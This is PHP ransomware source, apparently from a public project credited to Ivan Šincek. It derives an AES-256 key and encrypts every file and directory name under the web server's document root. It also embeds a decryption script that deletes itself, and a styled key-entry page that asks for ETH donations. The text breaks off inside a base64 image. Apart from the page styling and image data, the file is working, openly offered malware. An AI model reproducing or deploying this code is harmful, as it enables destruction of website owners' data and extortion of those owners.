encrypt.php

<?php
@error_reporting(0);
@set_time_limit(0);
@umask(0);
class Ransomware {
    private $root = null;
    private $salt = null;
    private $recovery = null;
    private $cryptoKey = null;
    private $cryptoKeyLength = '32';
    private $iterations = '10000';
    private $algorithm = 'SHA512';
    private $iv = null;
    private $cipher = 'AES-256-CBC';
    private $extension = 'ransom';
    public function __construct($key) {
        $this->root = $_SERVER['DOCUMENT_ROOT'];
        $this->salt = openssl_random_pseudo_bytes(10);
        $this->recovery = base64_encode($key);
        $this->cryptoKey = @openssl_pbkdf2($key, $this->salt, $this->cryptoKeyLength, $this->iterations, $this->algorithm);
        $this->iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($this->cipher));
    }
    private function generateRandomFileName($directory, $extension) {
        $randomName = '';
        do {
            $randomName = str_replace(array('+', '/', '='), '', base64_encode(openssl_random_pseudo_bytes(6)));
            $randomName = $randomName ? $directory . '/' . $randomName . '.' . $extension : false;
        } while ($randomName !== false && file_exists($randomName));
        return $randomName;
    }
    private function createDecryptionFile($directory) {
        // decryption file encoded in Base64
        $data = base64_decode('<?php
@error_reporting(0);
@set_time_limit(0);
@umask(0);
class Ransomware {
    private $root = '<root/>';
    private $salt = null;
    private $cryptoKey = null;
    private $cryptoKeyLength = '<cryptoKeyLength/>';
    private $iterations = '<iterations/>';
    private $algorithm = '<algorithm/>';
    private $iv = null;
    private $cipher = '<cipher/>';
    private $extension = '<extension/>';
    public function __construct($key) {
        $this->salt = base64_decode('<salt/>');
        $this->cryptoKey = @openssl_pbkdf2($key, $this->salt, $this->cryptoKeyLength, $this->iterations, $this->algorithm);
        $this->iv = base64_decode('<iv/>');
    }
    private function deleteDecryptionFile($directory) {
        unlink($directory . '/.htaccess');
        unlink($_SERVER['SCRIPT_FILENAME']);
    }
    private function decryptName($path) {
        $decryptedName = @openssl_decrypt(urldecode(pathinfo($path, PATHINFO_FILENAME)), $this->cipher, $this->cryptoKey, 0, $this->iv);
        $decryptedName = $decryptedName ? substr($path, 0, strripos($path, '/') + 1) . $decryptedName : false;
        return $decryptedName;
    }
    private function decryptDirectory($encryptedDirectory) {
        if (pathinfo($encryptedDirectory, PATHINFO_EXTENSION) === $this->extension) {
            $directory = $this->decryptName($encryptedDirectory);
            if ($directory !== false) {
                rename($encryptedDirectory, $directory);
            }
        }
    }
    private function decryptFile($encryptedFile) {
        if (pathinfo($encryptedFile, PATHINFO_EXTENSION) === $this->extension) {
            $data = @openssl_decrypt(file_get_contents($encryptedFile), $this->cipher, $this->cryptoKey, 0, $this->iv);
            if ($data !== false) {
                $file = $this->decryptName($encryptedFile);
                if ($file !== false && rename($encryptedFile, $file)) {
                    if (!file_put_contents($file, $data, LOCK_EX)) {
                        rename($file, $encryptedFile);
                    }
                }
            }
        }
    }
    private function scan($directory) {
        $files = @array_diff(scandir($directory), array('.', '..'));
        if ($files !== false) {
            foreach ($files as $file) {
                $path = $directory . '/' . $file;
                if (is_dir($path)) {
                    $this->scan($path);
                    $this->decryptDirectory($path);
                } else {
                    $this->decryptFile($path);
                }
            }
        }
    }
    public function run() {
        // $this->deleteDecryptionFile($this->root);
        if ($this->cryptoKey !== false) {
            $this->scan($this->root);
        }
    }
}
$errorMessage = '';
if (isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) === 'post' && isset($_POST['key'])) {
    mb_internal_encoding('UTF-8');
    if (mb_strlen($_POST['key']) < 1) {
        $errorMessage = 'Please enter decryption key';
    } else if (!extension_loaded('openssl')) {
        $errorMessage = 'OpenSSL not enabled';
    } else {
        $ransomware = new Ransomware($_POST['key']);
        $ransomware->run();
        unset($_POST['key'], $ransomware);
        @gc_collect_cycles();
        header('Location: /');
        exit();
    }
}
?>
<!DOCTYPE html>
<html lang="en">
	<head>
		<meta charset="UTF-8">
		<title>Ransomware</title>
		<meta name="description" content="Ransomware written in PHP.">
		<meta name="keywords" content="HTML, CSS, PHP, ransomware">
		<meta name="author" content="Ivan Šincek">
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
		<style>
			html {
				height: 100%;
			}
			body {
				background-color: #262626;
				display: flex;
				flex-direction: column;
				margin: 0;
				height: inherit;
				color: #F8F8F8;
				font-family: Arial, Helvetica, sans-serif;
				font-size: 1em;
				font-weight: 400;
				text-align: left;
			}
			.front-form {
				display: flex;
				flex-direction: column;
				align-items: center;
				justify-content: center;
				flex: 1 0 auto;
				padding: 0.5em;
			}
			.front-form .layout {
				background-color: #DCDCDC;
				padding: 1.5em;
				width: 21em;
				color: #000;
				border: 0.07em solid #000;
			}
			.front-form .layout header {
				text-align: center;
			}
			.front-form .layout header .title {
				margin: 0;
				font-size: 2.6em;
				font-weight: 400;
			}
			.front-form .layout .about {
				text-align: center;
			}
			.front-form .layout .about p {
				margin: 1em 0;
				color: #2F4F4F;
				font-weight: 600;
				word-wrap: break-word;
			}
			.front-form .layout .about img {
				height: 14em;
				border: 0.07em solid #000;
			}
			.front-form .layout form {
				display: flex;
				flex-direction: column;
				margin-top: 1em;
			}
			.front-form .layout form input {
				-webkit-appearance: none;
				-moz-appearance: none;
				appearance: none;
				margin: 0;
				padding: 0.2em 0.4em;
				font-family: Arial, Helvetica, sans-serif;
				font-size: 1em;
				border: 0.07em solid #9D2A00;
				-webkit-border-radius: 0;
				-moz-border-radius: 0;
				border-radius: 0;
			}
			.front-form .layout form input[type="submit"] {
				background-color: #FF4500;
				color: #F8F8F8;
				cursor: pointer;
				transition: background-color 220ms linear;
			}
			.front-form .layout form input[type="submit"]:hover {
				background-color: #D83A00;
				transition: background-color 220ms linear;
			}
			.front-form .layout form .error {
				margin: 0 0 1em 0;
				color: #9D2A00;
				font-size: 0.8em;
			}
			.front-form .layout form .error:not(:empty) {
				margin: 0.2em 0 1em 0;
			}
			.front-form .layout form label {
				margin-bottom: 0.2em;
				height: 1.2em;
			}
			@media screen and (max-width: 480px) {
				.front-form .layout {
					width: 15.5em;
				}
			}
			@media screen and (max-width: 320px) {
				.front-form .layout {
					width: 14.5em;
				}
				.front-form .layout header .title {
					font-size: 2.4em;
				}
				.front-form .layout .about p {
					font-size: 0.9em;
				}
			}
		</style>
	</head>
	<body>
		<div class="front-form">
			<div class="layout">
				<header>
					<h1 class="title">Ransomware</h1>
				</header>
				<div class="about">
					<p>Made by Ivan Šincek.</p>
					<p>I hope you like it!</p>
					<p>Feel free to donate ETH.</p>
					<img src="data:image/gif;base64,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